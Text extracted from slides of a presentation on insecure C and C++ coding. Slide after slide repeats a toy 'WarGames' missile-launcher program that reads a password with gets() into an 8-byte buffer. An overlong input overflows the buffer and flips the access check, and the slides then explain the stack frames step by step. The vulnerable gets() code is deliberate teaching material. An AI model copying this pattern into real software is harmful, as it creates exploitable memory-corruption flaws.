![Page 42: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/42.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Operation complete$
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Let's try executing the code and see what happens.
Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting!
![Page 43: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/43.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Operation complete$
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Huh?
Let's try executing the code and see what happens.
Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting!
![Page 44: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/44.jpg)
$ ./launchWarGames MissileLauncher v0.1Secret:
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
Operation complete$
Access grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwar
Access deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: Joshua
David
Access grantedLaunching 1869443685 missilesAccess denied
Huh?
Let's try executing the code and see what happens.
Due to an overflow we seem to have changed the value of allowaccess and the value of n_missiles. Interesting!
... but why did it also print Access denied?
![Page 45: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/45.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ ./launchWarGames MissileLauncher v0.1Secret: DavidAccess deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: JoshuaAccess grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
![Page 46: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/46.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ ./launchWarGames MissileLauncher v0.1Secret: DavidAccess deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: JoshuaAccess grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
What we just saw was an example of stack buffer overflow, aka stack smashing. When
overwriting the response buffer we also changed the memory location used by variable
allowaccess and n_missiles
![Page 47: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/47.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ ./launchWarGames MissileLauncher v0.1Secret: DavidAccess deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: JoshuaAccess grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
C and C++ are languages that are mostly defined by its behavior. The standards says very little about how
things should be implemented. Indeed, while it is common to hear discussions about call stack when talking about C and C++, it is worth noting that the
standards does not mention the concept at all.
What we just saw was an example of stack buffer overflow, aka stack smashing. When
overwriting the response buffer we also changed the memory location used by variable
allowaccess and n_missiles
![Page 48: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/48.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
$ ./launchWarGames MissileLauncher v0.1Secret: DavidAccess deniedOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: JoshuaAccess grantedLaunching 2 missilesOperation complete
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
C and C++ are languages that are mostly defined by its behavior. The standards says very little about how
things should be implemented. Indeed, while it is common to hear discussions about call stack when talking about C and C++, it is worth noting that the
standards does not mention the concept at all.
We can learn a lot about C and C++ by studying what happens when it executes. Here is
a detailed explanation about what actually happened on my machine. Let's start from the
beginning...
What we just saw was an example of stack buffer overflow, aka stack smashing. When
overwriting the response buffer we also changed the memory location used by variable
allowaccess and n_missiles
![Page 49: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/49.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
![Page 50: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/50.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
![Page 51: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/51.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
![Page 52: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/52.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
![Page 53: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/53.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
high address
low address
![Page 54: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/54.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
high address
low address
The calling function has pushed the address of its next instruction to be executed on the stack,
just before it made a jmp into main()
![Page 55: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/55.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of its next instruction to be executed on the stack,
just before it made a jmp into main()
![Page 56: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/56.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering main(), is that the current base pointer is
pushed on to the stack.
![Page 57: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/57.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
return address, next intruction in _starthigh address
low address
The calling function has pushed the address of its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering main(), is that the current base pointer is
pushed on to the stack.
Then the base pointer and stack pointer is changed so main() get's it's own activation
frame.
![Page 58: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/58.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
main() is the entry point for the program.
At this point, a call stack has been set up for us.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
The calling function has pushed the address of its next instruction to be executed on the stack,
just before it made a jmp into main()
The first thing that happens when entering main(), is that the current base pointer is
pushed on to the stack.
Then the base pointer and stack pointer is changed so main() get's it's own activation
frame.
![Page 59: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/59.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
![Page 60: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/60.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
![Page 61: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/61.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
![Page 62: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/62.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
![Page 63: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/63.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
pointer to string "WarGames..."
![Page 64: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/64.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
Then we push the return address, a memory address pointing to the next instruction in
main()
pointer to string "WarGames..."
![Page 65: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/65.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
Then we push the return address, a memory address pointing to the next instruction in
main()
pointer to string "WarGames..."return address, next intruction in main
![Page 66: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/66.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
Then we push the return address, a memory address pointing to the next instruction in
main()
pointer to string "WarGames..."return address, next intruction in main
The puts() function will do whatever it needs to do, just making sure that the base pointer is
restored before using the return address to jump back to the next instruction in main()
![Page 67: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/67.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
The first statement in main() is to call puts() with a string.
return address, next intruction in _startpointer to stack frame for _start
high address
low address
A pointer to the string is pushed on the stack, this is the argument to puts()
Then we push the return address, a memory address pointing to the next instruction in
main()
pointer to string "WarGames..."return address, next intruction in main
The puts() function will do whatever it needs to do, just making sure that the base pointer is
restored before using the return address to jump back to the next instruction in main()
(whatever puts() needs to do)
![Page 68: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/68.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
pointer to string "WarGames..."return address, next intruction in main
![Page 69: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/69.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
pointer to string "WarGames..."return address, next intruction in main
The stack is restored and the next statement will be executed.
![Page 70: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/70.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
The stack is restored and the next statement will be executed.
![Page 71: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/71.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
The stack is restored and the next statement will be executed.
![Page 72: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/72.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling authenticate_and_launch()
by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch()
The stack is restored and the next statement will be executed.
![Page 73: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/73.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling authenticate_and_launch()
by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch()
return address, next intruction in _main
The stack is restored and the next statement will be executed.
![Page 74: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/74.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Now we prepare for calling authenticate_and_launch()
by pushing the return address of the next statement to be executed in main() , and then we jump into authenticate_and_launch()
return address, next intruction in _main
The stack is restored and the next statement will be executed.
![Page 75: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/75.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
![Page 76: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/76.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Create a new stack frame, before allocating space for the local variables on the stack.
return address, next intruction in _main
![Page 77: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/77.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
Create a new stack frame, before allocating space for the local variables on the stack.
return address, next intruction in _mainpointer to stack frame for _main
![Page 78: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/78.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
